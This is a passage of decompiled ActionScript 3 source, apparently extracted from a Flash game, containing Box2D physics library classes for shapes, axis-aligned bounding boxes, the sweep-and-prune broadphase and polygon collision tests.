_arg1.center.x = (_local7.x + ((_local25.col1.x * _local23) + (_local25.col2.x * _local24)));
_arg1.center.y = (_local7.y + ((_local25.col1.y * _local23) + (_local25.col2.y * _local24)));
_arg1.extents.x = (0.5 * (_local15 - _local13));
_arg1.extents.y = (0.5 * (_local16 - _local14));
};
_local4++;
};
}
}
}//package Box2D.Collision.Shapes
Section 9
//b2Shape (Box2D.Collision.Shapes.b2Shape)
package Box2D.Collision.Shapes {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
public class b2Shape {
public var m_type:int;
public var m_sweepRadius:Number;
public var m_density:Number;
public var m_filter:b2FilterData;
public var m_friction:Number;
public var m_next:b2Shape;
public var m_restitution:Number;
public var m_userData;
public var m_isSensor:Boolean;
public var m_proxyId:uint;
public var m_body:b2Body;
public static const e_polygonShape:int = 1;
public static const e_unknownShape:int = -1;
public static const e_circleShape:int = 0;
public static const e_shapeTypeCount:int = 2;
private static var s_resetAABB:b2AABB = new b2AABB();
private static var s_syncAABB:b2AABB = new b2AABB();
private static var s_proxyAABB:b2AABB = new b2AABB();
public function b2Shape(_arg1:b2ShapeDef){
m_userData = _arg1.userData;
m_friction = _arg1.friction;
m_restitution = _arg1.restitution;
m_density = _arg1.density;
m_body = null;
m_sweepRadius = 0;
m_next = null;
m_proxyId = b2Pair.b2_nullProxy;
m_filter = _arg1.filter.Copy();
m_isSensor = _arg1.isSensor;
}
public function TestPoint(_arg1:b2XForm, _arg2:b2Vec2):Boolean{
return (false);
}
public function GetSweepRadius():Number{
return (m_sweepRadius);
}
public function GetNext():b2Shape{
return (m_next);
}
public function ComputeSweptAABB(_arg1:b2AABB, _arg2:b2XForm, _arg3:b2XForm):void{
}
public function GetType():int{
return (m_type);
}
public function GetRestitution():Number{
return (m_restitution);
}
public function GetFriction():Number{
return (m_friction);
}
public function GetFilterData():b2FilterData{
return (m_filter.Copy());
}
public function TestSegment(_arg1:b2XForm, _arg2:Array, _arg3:b2Vec2, _arg4:b2Segment, _arg5:Number):Boolean{
return (false);
}
public function RefilterProxy(_arg1:b2BroadPhase, _arg2:b2XForm):void{
var _local3:b2AABB;
var _local4:Boolean;
if (m_proxyId == b2Pair.b2_nullProxy){
return;
};
_arg1.DestroyProxy(m_proxyId);
_local3 = s_resetAABB;
ComputeAABB(_local3, _arg2);
_local4 = _arg1.InRange(_local3);
if (_local4){
m_proxyId = _arg1.CreateProxy(_local3, this);
} else {
m_proxyId = b2Pair.b2_nullProxy;
};
}
public function SetFilterData(_arg1:b2FilterData):void{
m_filter = _arg1.Copy();
}
public function GetUserData(){
return (m_userData);
}
public function Synchronize(_arg1:b2BroadPhase, _arg2:b2XForm, _arg3:b2XForm):Boolean{
var _local4:b2AABB;
if (m_proxyId == b2Pair.b2_nullProxy){
return (false);
};
_local4 = s_syncAABB;
ComputeSweptAABB(_local4, _arg2, _arg3);
if (_arg1.InRange(_local4)){
_arg1.MoveProxy(m_proxyId, _local4);
return (true);
};
return (false);
}
public function ComputeMass(_arg1:b2MassData):void{
}
public function IsSensor():Boolean{
return (m_isSensor);
}
public function DestroyProxy(_arg1:b2BroadPhase):void{
if (m_proxyId != b2Pair.b2_nullProxy){
_arg1.DestroyProxy(m_proxyId);
m_proxyId = b2Pair.b2_nullProxy;
};
}
public function UpdateSweepRadius(_arg1:b2Vec2):void{
}
public function ComputeAABB(_arg1:b2AABB, _arg2:b2XForm):void{
}
public function GetBody():b2Body{
return (m_body);
}
public function CreateProxy(_arg1:b2BroadPhase, _arg2:b2XForm):void{
var _local3:b2AABB;
var _local4:Boolean;
_local3 = s_proxyAABB;
ComputeAABB(_local3, _arg2);
_local4 = _arg1.InRange(_local3);
if (_local4){
m_proxyId = _arg1.CreateProxy(_local3, this);
} else {
m_proxyId = b2Pair.b2_nullProxy;
};
}
public function SetUserData(_arg1):void{
m_userData = _arg1;
}
public static function Destroy(_arg1:b2Shape, _arg2):void{
}
public static function Create(_arg1:b2ShapeDef, _arg2):b2Shape{
switch (_arg1.type){
case e_circleShape:
return (new b2CircleShape(_arg1));
case e_polygonShape:
return (new b2PolygonShape(_arg1));
default:
return (null);
};
}
}
}//package Box2D.Collision.Shapes
Section 10
//b2ShapeDef (Box2D.Collision.Shapes.b2ShapeDef)
package Box2D.Collision.Shapes {
public class b2ShapeDef {
public var isSensor:Boolean;// = false
public var density:Number;// = 0
public var type:int;
public var restitution:Number;// = 0
public var userData;// = null
public var filter:b2FilterData;
public var friction:Number;// = 0.2
public function b2ShapeDef(){
type = b2Shape.e_unknownShape;
userData = null;
friction = 0.2;
restitution = 0;
density = 0;
isSensor = false;
filter = new b2FilterData();
super();
}
}
}//package Box2D.Collision.Shapes
Section 11
//b2AABB (Box2D.Collision.b2AABB)
package Box2D.Collision {
import Box2D.Common.Math.*;
public class b2AABB {
public var upperBound:b2Vec2;
public var lowerBound:b2Vec2;
public function b2AABB(){
lowerBound = new b2Vec2();
upperBound = new b2Vec2();
super();
}
public function IsValid():Boolean{
var _local1:Number;
var _local2:Number;
var _local3:Boolean;
_local1 = (upperBound.x - lowerBound.x);
_local2 = (upperBound.y - lowerBound.y);
_local3 = (((_local1 >= 0)) && ((_local2 >= 0)));
_local3 = ((((_local3) && (lowerBound.IsValid()))) && (upperBound.IsValid()));
return (_local3);
}
}
}//package Box2D.Collision
Section 12
//b2Bound (Box2D.Collision.b2Bound)
package Box2D.Collision {
public class b2Bound {
public var proxyId:uint;
public var stabbingCount:uint;
public var value:uint;
public function Swap(_arg1:b2Bound):void{
var _local2:uint;
var _local3:uint;
var _local4:uint;
_local2 = value;
_local3 = proxyId;
_local4 = stabbingCount;
value = _arg1.value;
proxyId = _arg1.proxyId;
stabbingCount = _arg1.stabbingCount;
_arg1.value = _local2;
_arg1.proxyId = _local3;
_arg1.stabbingCount = _local4;
}
public function IsLower():Boolean{
return (((value & 1) == 0));
}
public function IsUpper():Boolean{
return (((value & 1) == 1));
}
}
}//package Box2D.Collision
Section 13
//b2BoundValues (Box2D.Collision.b2BoundValues)
package Box2D.Collision {
public class b2BoundValues {
public var lowerValues:Array;
public var upperValues:Array;
public function b2BoundValues(){
lowerValues = [0, 0];
upperValues = [0, 0];
super();
}
}
}//package Box2D.Collision
Section 14
//b2BroadPhase (Box2D.Collision.b2BroadPhase)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Common.*;
public class b2BroadPhase {
public var m_quantizationFactor:b2Vec2;
public var m_worldAABB:b2AABB;
public var m_bounds:Array;
public var m_freeProxy:uint;
public var m_proxyCount:int;
public var m_proxyPool:Array;
public var m_queryResultCount:int;
public var m_pairManager:b2PairManager;
public var m_timeStamp:uint;
public var m_queryResults:Array;
public static const b2_nullEdge:uint = b2Settings.USHRT_MAX;
public static const b2_invalid:uint = b2Settings.USHRT_MAX;
public static var s_validate:Boolean = false;
public function b2BroadPhase(_arg1:b2AABB, _arg2:b2PairCallback){
var _local3:int;
var _local4:Number;
var _local5:Number;
var _local6:b2Proxy;
var _local7:int;
m_pairManager = new b2PairManager();
m_proxyPool = new Array(b2Settings.b2_maxPairs);
m_bounds = new Array((2 * b2Settings.b2_maxProxies));
m_queryResults = new Array(b2Settings.b2_maxProxies);
m_quantizationFactor = new b2Vec2();
super();
m_pairManager.Initialize(this, _arg2);
m_worldAABB = _arg1;
m_proxyCount = 0;
_local3 = 0;
while (_local3 < b2Settings.b2_maxProxies) {
m_queryResults[_local3] = 0;
_local3++;
};
m_bounds = new Array(2);
_local3 = 0;
while (_local3 < 2) {
m_bounds[_local3] = new Array((2 * b2Settings.b2_maxProxies));
_local7 = 0;
while (_local7 < (2 * b2Settings.b2_maxProxies)) {
m_bounds[_local3][_local7] = new b2Bound();
_local7++;
};
_local3++;
};
_local4 = (_arg1.upperBound.x - _arg1.lowerBound.x);
_local5 = (_arg1.upperBound.y - _arg1.lowerBound.y);
m_quantizationFactor.x = (b2Settings.USHRT_MAX / _local4);
m_quantizationFactor.y = (b2Settings.USHRT_MAX / _local5);
_local3 = 0;
while (_local3 < (b2Settings.b2_maxProxies - 1)) {
_local6 = new b2Proxy();
m_proxyPool[_local3] = _local6;
_local6.SetNext((_local3 + 1));
_local6.timeStamp = 0;
_local6.overlapCount = b2_invalid;
_local6.userData = null;
_local3++;
};
_local6 = new b2Proxy();
m_proxyPool[int((b2Settings.b2_maxProxies - 1))] = _local6;
_local6.SetNext(b2Pair.b2_nullProxy);
_local6.timeStamp = 0;
_local6.overlapCount = b2_invalid;
_local6.userData = null;
m_freeProxy = 0;
m_timeStamp = 1;
m_queryResultCount = 0;
}
public function QueryAABB(_arg1:b2AABB, _arg2, _arg3:int):int{
var _local4:Array;
var _local5:Array;
var _local6:uint;
var _local7:uint;
var _local8:Array;
var _local9:Array;
var _local10:int;
var _local11:int;
var _local12:b2Proxy;
_local4 = new Array();
_local5 = new Array();
ComputeBounds(_local4, _local5, _arg1);
_local8 = [_local6];
_local9 = [_local7];
Query(_local8, _local9, _local4[0], _local5[0], m_bounds[0], (2 * m_proxyCount), 0);
Query(_local8, _local9, _local4[1], _local5[1], m_bounds[1], (2 * m_proxyCount), 1);
_local10 = 0;
_local11 = 0;
while ((((_local11 < m_queryResultCount)) && ((_local10 < _arg3)))) {
_local12 = m_proxyPool[m_queryResults[_local11]];
_arg2[_local11] = _local12.userData;
_local11++;
_local10++;
};
m_queryResultCount = 0;
IncrementTimeStamp();
return (_local10);
}
public function Commit():void{
m_pairManager.Commit();
}
public function GetProxy(_arg1:int):b2Proxy{
var _local2:b2Proxy;
_local2 = m_proxyPool[_arg1];
if ((((_arg1 == b2Pair.b2_nullProxy)) || ((_local2.IsValid() == false)))){
return (null);
};
return (_local2);
}
private function IncrementTimeStamp():void{
var _local1:uint;
if (m_timeStamp == b2Settings.USHRT_MAX){
_local1 = 0;
while (_local1 < b2Settings.b2_maxProxies) {
(m_proxyPool[_local1] as b2Proxy).timeStamp = 0;
_local1++;
};
m_timeStamp = 1;
} else {
m_timeStamp++;
};
}
private function Query(_arg1:Array, _arg2:Array, _arg3:uint, _arg4:uint, _arg5:Array, _arg6:uint, _arg7:int):void{
var _local8:uint;
var _local9:uint;
var _local10:b2Bound;
var _local11:uint;
var _local12:int;
var _local13:int;
var _local14:b2Proxy;
_local8 = BinarySearch(_arg5, _arg6, _arg3);
_local9 = BinarySearch(_arg5, _arg6, _arg4);
_local11 = _local8;
while (_local11 < _local9) {
_local10 = _arg5[_local11];
if (_local10.IsLower()){
IncrementOverlapCount(_local10.proxyId);
};
_local11++;
};
if (_local8 > 0){
_local12 = (_local8 - 1);
_local10 = _arg5[_local12];
_local13 = _local10.stabbingCount;
while (_local13) {
_local10 = _arg5[_local12];
if (_local10.IsLower()){
_local14 = m_proxyPool[_local10.proxyId];
if (_local8 <= _local14.upperBounds[_arg7]){
IncrementOverlapCount(_local10.proxyId);
_local13--;
};
};
_local12--;
};
};
_arg1[0] = _local8;
_arg2[0] = _local9;
}
private function TestOverlapValidate(_arg1:b2Proxy, _arg2:b2Proxy):Boolean{
var _local3:int;
var _local4:Array;
var _local5:b2Bound;
var _local6:b2Bound;
_local3 = 0;
while (_local3 < 2) {
_local4 = m_bounds[_local3];
_local5 = _local4[_arg1.lowerBounds[_local3]];
_local6 = _local4[_arg2.upperBounds[_local3]];
if (_local5.value > _local6.value){
return (false);
};
_local5 = _local4[_arg1.upperBounds[_local3]];
_local6 = _local4[_arg2.lowerBounds[_local3]];
if (_local5.value < _local6.value){
return (false);
};
_local3++;
};
return (true);
}
private function ComputeBounds(_arg1:Array, _arg2:Array, _arg3:b2AABB):void{
var _local4:Number;
var _local5:Number;
var _local6:Number;
var _local7:Number;
_local4 = _arg3.lowerBound.x;
_local5 = _arg3.lowerBound.y;
_local4 = b2Math.b2Min(_local4, m_worldAABB.upperBound.x);
_local5 = b2Math.b2Min(_local5, m_worldAABB.upperBound.y);
_local4 = b2Math.b2Max(_local4, m_worldAABB.lowerBound.x);
_local5 = b2Math.b2Max(_local5, m_worldAABB.lowerBound.y);
_local6 = _arg3.upperBound.x;
_local7 = _arg3.upperBound.y;
_local6 = b2Math.b2Min(_local6, m_worldAABB.upperBound.x);
_local7 = b2Math.b2Min(_local7, m_worldAABB.upperBound.y);
_local6 = b2Math.b2Max(_local6, m_worldAABB.lowerBound.x);
_local7 = b2Math.b2Max(_local7, m_worldAABB.lowerBound.y);
_arg1[0] = (uint((m_quantizationFactor.x * (_local4 - m_worldAABB.lowerBound.x))) & (b2Settings.USHRT_MAX - 1));
_arg2[0] = ((uint((m_quantizationFactor.x * (_local6 - m_worldAABB.lowerBound.x))) & 0xFFFF) | 1);
_arg1[1] = (uint((m_quantizationFactor.y * (_local5 - m_worldAABB.lowerBound.y))) & (b2Settings.USHRT_MAX - 1));
_arg2[1] = ((uint((m_quantizationFactor.y * (_local7 - m_worldAABB.lowerBound.y))) & 0xFFFF) | 1);
}
public function CreateProxy(_arg1:b2AABB, _arg2):uint{
var _local3:uint;
var _local4:b2Proxy;
var _local5:uint;
var _local6:uint;
var _local7:Array;
var _local8:Array;
var _local9:int;
var _local10:int;
var _local11:Array;
var _local12:uint;
var _local13:uint;
var _local14:Array;
var _local15:Array;
var _local16:Array;
var _local17:int;
var _local18:int;
var _local19:b2Bound;
var _local20:b2Bound;
var _local21:b2Bound;
var _local22:int;
var _local23:b2Proxy;
_local5 = m_freeProxy;
_local4 = m_proxyPool[_local5];
m_freeProxy = _local4.GetNext();
_local4.overlapCount = 0;
_local4.userData = _arg2;
_local6 = (2 * m_proxyCount);
_local7 = new Array();
_local8 = new Array();
ComputeBounds(_local7, _local8, _arg1);
_local9 = 0;
while (_local9 < 2) {
_local11 = m_bounds[_local9];
_local14 = [_local12];
_local15 = [_local13];
Query(_local14, _local15, _local7[_local9], _local8[_local9], _local11, _local6, _local9);
_local12 = _local14[0];
_local13 = _local15[0];
_local16 = new Array();
_local18 = (_local6 - _local13);
_local17 = 0;
while (_local17 < _local18) {
_local16[_local17] = new b2Bound();
_local19 = _local16[_local17];
_local20 = _local11[int((_local13 + _local17))];
_local19.value = _local20.value;
_local19.proxyId = _local20.proxyId;
_local19.stabbingCount = _local20.stabbingCount;
_local17++;
};
_local18 = _local16.length;
_local22 = (_local13 + 2);
_local17 = 0;
while (_local17 < _local18) {
_local20 = _local16[_local17];
_local19 = _local11[int((_local22 + _local17))];
_local19.value = _local20.value;
_local19.proxyId = _local20.proxyId;
_local19.stabbingCount = _local20.stabbingCount;
_local17++;
};
_local16 = new Array();
_local18 = (_local13 - _local12);
_local17 = 0;
while (_local17 < _local18) {
_local16[_local17] = new b2Bound();
_local19 = _local16[_local17];
_local20 = _local11[int((_local12 + _local17))];
_local19.value = _local20.value;
_local19.proxyId = _local20.proxyId;
_local19.stabbingCount = _local20.stabbingCount;
_local17++;
};
_local18 = _local16.length;
_local22 = (_local12 + 1);
_local17 = 0;
while (_local17 < _local18) {
_local20 = _local16[_local17];
_local19 = _local11[int((_local22 + _local17))];
_local19.value = _local20.value;
_local19.proxyId = _local20.proxyId;
_local19.stabbingCount = _local20.stabbingCount;
_local17++;
};
_local13++;
_local19 = _local11[_local12];
_local20 = _local11[_local13];
_local19.value = _local7[_local9];
_local19.proxyId = _local5;
_local20.value = _local8[_local9];
_local20.proxyId = _local5;
_local21 = _local11[int((_local12 - 1))];
_local19.stabbingCount = ((_local12 == 0)) ? 0 : _local21.stabbingCount;
_local21 = _local11[int((_local13 - 1))];
_local20.stabbingCount = _local21.stabbingCount;
_local3 = _local12;
while (_local3 < _local13) {
_local21 = _local11[_local3];
_local21.stabbingCount++;
_local3++;
};
_local3 = _local12;
while (_local3 < (_local6 + 2)) {
_local19 = _local11[_local3];
_local23 = m_proxyPool[_local19.proxyId];
if (_local19.IsLower()){
_local23.lowerBounds[_local9] = _local3;
} else {
_local23.upperBounds[_local9] = _local3;
};
_local3++;
};
_local9++;
};
m_proxyCount++;
_local10 = 0;
while (_local10 < m_queryResultCount) {
m_pairManager.AddBufferedPair(_local5, m_queryResults[_local10]);
_local10++;
};
m_pairManager.Commit();
m_queryResultCount = 0;
IncrementTimeStamp();
return (_local5);
}
public function DestroyProxy(_arg1:uint):void{
var _local2:b2Bound;
var _local3:b2Bound;
var _local4:b2Proxy;
var _local5:int;
var _local6:int;
var _local7:int;
var _local8:Array;
var _local9:uint;
var _local10:uint;
var _local11:uint;
var _local12:uint;
var _local13:Array;
var _local14:int;
var _local15:int;
var _local16:int;
var _local17:uint;
var _local18:int;
var _local19:b2Proxy;
_local4 = m_proxyPool[_arg1];
_local5 = (2 * m_proxyCount);
_local6 = 0;
while (_local6 < 2) {
_local8 = m_bounds[_local6];
_local9 = _local4.lowerBounds[_local6];
_local10 = _local4.upperBounds[_local6];
_local2 = _local8[_local9];
_local11 = _local2.value;
_local3 = _local8[_local10];
_local12 = _local3.value;
_local13 = new Array();
_local15 = ((_local10 - _local9) - 1);
_local14 = 0;
while (_local14 < _local15) {
_local13[_local14] = new b2Bound();
_local2 = _local13[_local14];
_local3 = _local8[int(((_local9 + 1) + _local14))];
_local2.value = _local3.value;
_local2.proxyId = _local3.proxyId;
_local2.stabbingCount = _local3.stabbingCount;
_local14++;
};
_local15 = _local13.length;
_local16 = _local9;
_local14 = 0;
while (_local14 < _local15) {
_local3 = _local13[_local14];
_local2 = _local8[int((_local16 + _local14))];
_local2.value = _local3.value;
_local2.proxyId = _local3.proxyId;
_local2.stabbingCount = _local3.stabbingCount;
_local14++;
};
_local13 = new Array();
_local15 = ((_local5 - _local10) - 1);
_local14 = 0;
while (_local14 < _local15) {
_local13[_local14] = new b2Bound();
_local2 = _local13[_local14];
_local3 = _local8[int(((_local10 + 1) + _local14))];
_local2.value = _local3.value;
_local2.proxyId = _local3.proxyId;
_local2.stabbingCount = _local3.stabbingCount;
_local14++;
};
_local15 = _local13.length;
_local16 = (_local10 - 1);
_local14 = 0;
while (_local14 < _local15) {
_local3 = _local13[_local14];
_local2 = _local8[int((_local16 + _local14))];
_local2.value = _local3.value;
_local2.proxyId = _local3.proxyId;
_local2.stabbingCount = _local3.stabbingCount;
_local14++;
};
_local15 = (_local5 - 2);
_local17 = _local9;
while (_local17 < _local15) {
_local2 = _local8[_local17];
_local19 = m_proxyPool[_local2.proxyId];
if (_local2.IsLower()){
_local19.lowerBounds[_local6] = _local17;
} else {
_local19.upperBounds[_local6] = _local17;
};
_local17++;
};
_local15 = (_local10 - 1);
_local18 = _local9;
while (_local18 < _local15) {
_local2 = _local8[_local18];
_local2.stabbingCount--;
_local18++;
};
Query([0], [0], _local11, _local12, _local8, (_local5 - 2), _local6);
_local6++;
};
_local7 = 0;
while (_local7 < m_queryResultCount) {
m_pairManager.RemoveBufferedPair(_arg1, m_queryResults[_local7]);
_local7++;
};
m_pairManager.Commit();
m_queryResultCount = 0;
IncrementTimeStamp();
_local4.userData = null;
_local4.overlapCount = b2_invalid;
_local4.lowerBounds[0] = b2_invalid;
_local4.lowerBounds[1] = b2_invalid;
_local4.upperBounds[0] = b2_invalid;
_local4.upperBounds[1] = b2_invalid;
_local4.SetNext(m_freeProxy);
m_freeProxy = _arg1;
m_proxyCount--;
}
public function TestOverlap(_arg1:b2BoundValues, _arg2:b2Proxy):Boolean{
var _local3:int;
var _local4:Array;
var _local5:b2Bound;
_local3 = 0;
while (_local3 < 2) {
_local4 = m_bounds[_local3];
_local5 = _local4[_arg2.upperBounds[_local3]];
if (_arg1.lowerValues[_local3] > _local5.value){
return (false);
};
_local5 = _local4[_arg2.lowerBounds[_local3]];
if (_arg1.upperValues[_local3] < _local5.value){
return (false);
};
_local3++;
};
return (true);
}
public function Validate():void{
var _local1:b2Pair;
var _local2:b2Proxy;
var _local3:b2Proxy;
var _local4:Boolean;
var _local5:int;
var _local6:b2Bound;
var _local7:uint;
var _local8:uint;
var _local9:uint;
var _local10:b2Bound;
_local5 = 0;
while (_local5 < 2) {
_local6 = m_bounds[_local5];
_local7 = (2 * m_proxyCount);
_local8 = 0;
_local9 = 0;
while (_local9 < _local7) {
_local10 = _local6[_local9];
if (_local10.IsLower() == true){
_local8++;
} else {
_local8--;
};
_local9++;
};
_local5++;
};
}
private function IncrementOverlapCount(_arg1:uint):void{
var _local2:b2Proxy;
_local2 = m_proxyPool[_arg1];
if (_local2.timeStamp < m_timeStamp){
_local2.timeStamp = m_timeStamp;
_local2.overlapCount = 1;
} else {
_local2.overlapCount = 2;
m_queryResults[m_queryResultCount] = _arg1;
m_queryResultCount++;
};
}
public function InRange(_arg1:b2AABB):Boolean{
var _local2:Number;
var _local3:Number;
var _local4:Number;
var _local5:Number;
_local2 = _arg1.lowerBound.x;
_local3 = _arg1.lowerBound.y;
_local2 = (_local2 - m_worldAABB.upperBound.x);
_local3 = (_local3 - m_worldAABB.upperBound.y);
_local4 = m_worldAABB.lowerBound.x;
_local5 = m_worldAABB.lowerBound.y;
_local4 = (_local4 - _arg1.upperBound.x);
_local5 = (_local5 - _arg1.upperBound.y);
_local2 = b2Math.b2Max(_local2, _local4);
_local3 = b2Math.b2Max(_local3, _local5);
return ((b2Math.b2Max(_local2, _local3) < 0));
}
public function MoveProxy(_arg1:uint, _arg2:b2AABB):void{
var _local3:Array;
var _local4:int;
var _local5:uint;
var _local6:uint;
var _local7:b2Bound;
var _local8:b2Bound;
var _local9:b2Bound;
var _local10:uint;
var _local11:b2Proxy;
var _local12:uint;
var _local13:b2Proxy;
var _local14:b2BoundValues;
var _local15:b2BoundValues;
var _local16:Array;
var _local17:uint;
var _local18:uint;
var _local19:uint;
var _local20:uint;
var _local21:int;
var _local22:int;
var _local23:uint;
var _local24:b2Proxy;
if ((((_arg1 == b2Pair.b2_nullProxy)) || ((b2Settings.b2_maxProxies <= _arg1)))){
return;
};
if (_arg2.IsValid() == false){
return;
};
_local12 = (2 * m_proxyCount);
_local13 = m_proxyPool[_arg1];
_local14 = new b2BoundValues();
ComputeBounds(_local14.lowerValues, _local14.upperValues, _arg2);
_local15 = new b2BoundValues();
_local5 = 0;
while (_local5 < 2) {
_local7 = m_bounds[_local5][_local13.lowerBounds[_local5]];
_local15.lowerValues[_local5] = _local7.value;
_local7 = m_bounds[_local5][_local13.upperBounds[_local5]];
_local15.upperValues[_local5] = _local7.value;
_local5++;
};
_local5 = 0;
while (_local5 < 2) {
_local16 = m_bounds[_local5];
_local17 = _local13.lowerBounds[_local5];
_local18 = _local13.upperBounds[_local5];
_local19 = _local14.lowerValues[_local5];
_local20 = _local14.upperValues[_local5];
_local7 = _local16[_local17];
_local21 = (_local19 - _local7.value);
_local7.value = _local19;
_local7 = _local16[_local18];
_local22 = (_local20 - _local7.value);
_local7.value = _local20;
if (_local21 < 0){
_local6 = _local17;
while ((((_local6 > 0)) && ((_local19 < (_local16[int((_local6 - 1))] as b2Bound).value)))) {
_local7 = _local16[_local6];
_local8 = _local16[int((_local6 - 1))];
_local23 = _local8.proxyId;
_local24 = m_proxyPool[_local8.proxyId];
_local8.stabbingCount++;
if (_local8.IsUpper() == true){
if (TestOverlap(_local14, _local24)){
m_pairManager.AddBufferedPair(_arg1, _local23);
};
_local3 = _local24.upperBounds;
_local4 = _local3[_local5];
_local4++;
_local3[_local5] = _local4;
_local7.stabbingCount++;
} else {
_local3 = _local24.lowerBounds;
_local4 = _local3[_local5];
_local4++;
_local3[_local5] = _local4;
_local7.stabbingCount--;
};
_local3 = _local13.lowerBounds;
_local4 = _local3[_local5];
_local4--;
_local3[_local5] = _local4;
_local7.Swap(_local8);
_local6--;
};
};
if (_local22 > 0){
_local6 = _local18;
while ((((_local6 < (_local12 - 1))) && (((_local16[int((_local6 + 1))] as b2Bound).value <= _local20)))) {
_local7 = _local16[_local6];
_local9 = _local16[int((_local6 + 1))];
_local10 = _local9.proxyId;
_local11 = m_proxyPool[_local10];
_local9.stabbingCount++;
if (_local9.IsLower() == true){
if (TestOverlap(_local14, _local11)){
m_pairManager.AddBufferedPair(_arg1, _local10);
};
_local3 = _local11.lowerBounds;
_local4 = _local3[_local5];
_local4--;
_local3[_local5] = _local4;
_local7.stabbingCount++;
} else {
_local3 = _local11.upperBounds;
_local4 = _local3[_local5];
_local4--;
_local3[_local5] = _local4;
_local7.stabbingCount--;
};
_local3 = _local13.upperBounds;
_local4 = _local3[_local5];
_local4++;
_local3[_local5] = _local4;
_local7.Swap(_local9);
_local6++;
};
};
if (_local21 > 0){
_local6 = _local17;
while ((((_local6 < (_local12 - 1))) && (((_local16[int((_local6 + 1))] as b2Bound).value <= _local19)))) {
_local7 = _local16[_local6];
_local9 = _local16[int((_local6 + 1))];
_local10 = _local9.proxyId;
_local11 = m_proxyPool[_local10];
_local9.stabbingCount--;
if (_local9.IsUpper()){
if (TestOverlap(_local15, _local11)){
m_pairManager.RemoveBufferedPair(_arg1, _local10);
};
_local3 = _local11.upperBounds;
_local4 = _local3[_local5];
_local4--;
_local3[_local5] = _local4;
_local7.stabbingCount--;
} else {
_local3 = _local11.lowerBounds;
_local4 = _local3[_local5];
_local4--;
_local3[_local5] = _local4;
_local7.stabbingCount++;
};
_local3 = _local13.lowerBounds;
_local4 = _local3[_local5];
_local4++;
_local3[_local5] = _local4;
_local7.Swap(_local9);
_local6++;
};
};
if (_local22 < 0){
_local6 = _local18;
while ((((_local6 > 0)) && ((_local20 < (_local16[int((_local6 - 1))] as b2Bound).value)))) {
_local7 = _local16[_local6];
_local8 = _local16[int((_local6 - 1))];
_local23 = _local8.proxyId;
_local24 = m_proxyPool[_local23];
_local8.stabbingCount--;
if (_local8.IsLower() == true){
if (TestOverlap(_local15, _local24)){
m_pairManager.RemoveBufferedPair(_arg1, _local23);
};
_local3 = _local24.lowerBounds;
_local4 = _local3[_local5];
_local4++;
_local3[_local5] = _local4;
_local7.stabbingCount--;
} else {
_local3 = _local24.upperBounds;
_local4 = _local3[_local5];
_local4++;
_local3[_local5] = _local4;
_local7.stabbingCount++;
};
_local3 = _local13.upperBounds;
_local4 = _local3[_local5];
_local4--;
_local3[_local5] = _local4;
_local7.Swap(_local8);
_local6--;
};
};
_local5++;
};
}
public static function BinarySearch(_arg1:Array, _arg2:int, _arg3:uint):uint{
var _local4:int;
var _local5:int;
var _local6:int;
var _local7:b2Bound;
_local4 = 0;
_local5 = (_arg2 - 1);
while (_local4 <= _local5) {
_local6 = ((_local4 + _local5) / 2);
_local7 = _arg1[_local6];
if (_local7.value > _arg3){
_local5 = (_local6 - 1);
} else {
if (_local7.value < _arg3){
_local4 = (_local6 + 1);
} else {
return (uint(_local6));
};
};
};
return (uint(_local4));
}
}
}//package Box2D.Collision
Section 15
//b2BufferedPair (Box2D.Collision.b2BufferedPair)
package Box2D.Collision {
public class b2BufferedPair {
public var proxyId1:uint;
public var proxyId2:uint;
}
}//package Box2D.Collision
Section 16
//b2Collision (Box2D.Collision.b2Collision)
package Box2D.Collision {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Common.*;
public class b2Collision {
public static const b2_nullFeature:uint = 0xFF;
private static var b2CollidePolyTempVec:b2Vec2 = new b2Vec2();
public static function EdgeSeparation(_arg1:b2PolygonShape, _arg2:b2XForm, _arg3:int, _arg4:b2PolygonShape, _arg5:b2XForm):Number{
var _local6:int;
var _local7:Array;
var _local8:Array;
var _local9:int;
var _local10:Array;
var _local11:b2Mat22;
var _local12:b2Vec2;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:int;
var _local18:Number;
var _local19:int;
var _local20:Number;
var _local21:Number;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
_local6 = _arg1.m_vertexCount;
_local7 = _arg1.m_vertices;
_local8 = _arg1.m_normals;
_local9 = _arg4.m_vertexCount;
_local10 = _arg4.m_vertices;
_local11 = _arg2.R;
_local12 = _local8[_arg3];
_local13 = ((_local11.col1.x * _local12.x) + (_local11.col2.x * _local12.y));
_local14 = ((_local11.col1.y * _local12.x) + (_local11.col2.y * _local12.y));
_local11 = _arg5.R;
_local15 = ((_local11.col1.x * _local13) + (_local11.col1.y * _local14));
_local16 = ((_local11.col2.x * _local13) + (_local11.col2.y * _local14));
_local17 = 0;
_local18 = Number.MAX_VALUE;
_local19 = 0;
while (_local19 < _local9) {
_local12 = _local10[_local19];
_local25 = ((_local12.x * _local15) + (_local12.y * _local16));
if (_local25 < _local18){
_local18 = _local25;
_local17 = _local19;
};
_local19++;
};
_local12 = _local7[_arg3];
_local11 = _arg2.R;
_local20 = (_arg2.position.x + ((_local11.col1.x * _local12.x) + (_local11.col2.x * _local12.y)));
_local21 = (_arg2.position.y + ((_local11.col1.y * _local12.x) + (_local11.col2.y * _local12.y)));
_local12 = _local10[_local17];
_local11 = _arg5.R;
_local22 = (_arg5.position.x + ((_local11.col1.x * _local12.x) + (_local11.col2.x * _local12.y)));
_local23 = (_arg5.position.y + ((_local11.col1.y * _local12.x) + (_local11.col2.y * _local12.y)));
_local22 = (_local22 - _local20);
_local23 = (_local23 - _local21);
_local24 = ((_local22 * _local13) + (_local23 * _local14));
return (_local24);
}
public static function b2TestOverlap(_arg1:b2AABB, _arg2:b2AABB):Boolean{
var _local3:b2Vec2;
var _local4:b2Vec2;
var _local5:Number;
var _local6:Number;
var _local7:Number;
var _local8:Number;
_local3 = _arg2.lowerBound;
_local4 = _arg1.upperBound;
_local5 = (_local3.x - _local4.x);
_local6 = (_local3.y - _local4.y);
_local3 = _arg1.lowerBound;
_local4 = _arg2.upperBound;
_local7 = (_local3.x - _local4.x);
_local8 = (_local3.y - _local4.y);
if ((((_local5 > 0)) || ((_local6 > 0)))){
return (false);
};
if ((((_local7 > 0)) || ((_local8 > 0)))){
return (false);
};
return (true);
}
